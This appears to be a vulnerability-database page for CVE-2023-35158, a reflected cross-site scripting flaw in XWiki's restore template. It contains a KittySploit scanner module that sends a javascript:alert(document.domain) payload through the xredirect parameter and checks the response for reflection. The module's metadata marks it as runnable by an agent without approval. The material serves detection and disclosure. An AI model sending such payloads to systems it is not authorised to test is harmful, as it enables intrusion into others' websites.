XWiki - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| XWiki Platform XSS | 4 Sep 202300:00 | – | bdu_fstec | |
| XWiki Platform security vulnerabilities | 23 Jun 202300:00 | – | cnnvd | |
| CVE-2023-35158 | 23 Jun 202318:26 | – | cve | |
| CVE-2023-35158 XWiki Platform vulnerable to reflected cross-site scripting via xredirect parameter in restore template | 23 Jun 202318:26 | – | cvelist | |
| EUVD-2023-1847 | 3 Oct 202520:07 | – | euvd | |
| XWiki Platform vulnerable to reflected cross-site scripting via xredirect parameter in restore template | 22 Jun 202319:59 | – | github | |
| CVE-2023-35158 | 23 Jun 202318:26 | – | mend | |
| XWiki - Cross-Site Scripting | 4 Nov 202602:04 | – | nuclei | |
| CVE-2023-35158 | 23 Jun 202319:15 | – | nvd | |
| GHSA-MWXJ-G7FW-7HC8 XWiki Platform vulnerable to reflected cross-site scripting via xredirect parameter in restore template | 22 Jun 202319:59 | – | osv_ghsa |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'XWiki - Cross-Site Scripting Detection',
'description': "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.",
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'xwiki', 'xss', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2023-35158'],
'cve': 'CVE-2023-35158',
}
def run(self):
path = '/xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain)'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
content_type = (r.headers.get("Content-Type") or "").lower()
body = r.text or ""
reflected_javascript_url = re.search(
r"(?:href|src|action)\s*=\s*['\"]?javascript:alert\(document\.domain\)",
body,
re.I,
)
if "text/html" in content_type and reflected_javascript_url:
self.set_info(
severity='medium',
reason='XWiki restore redirect reflected an executable javascript URL',
path=path,
confidence='high',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Sep 2026 10:07Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1 - 9.6
EPSS0.02048
SSVC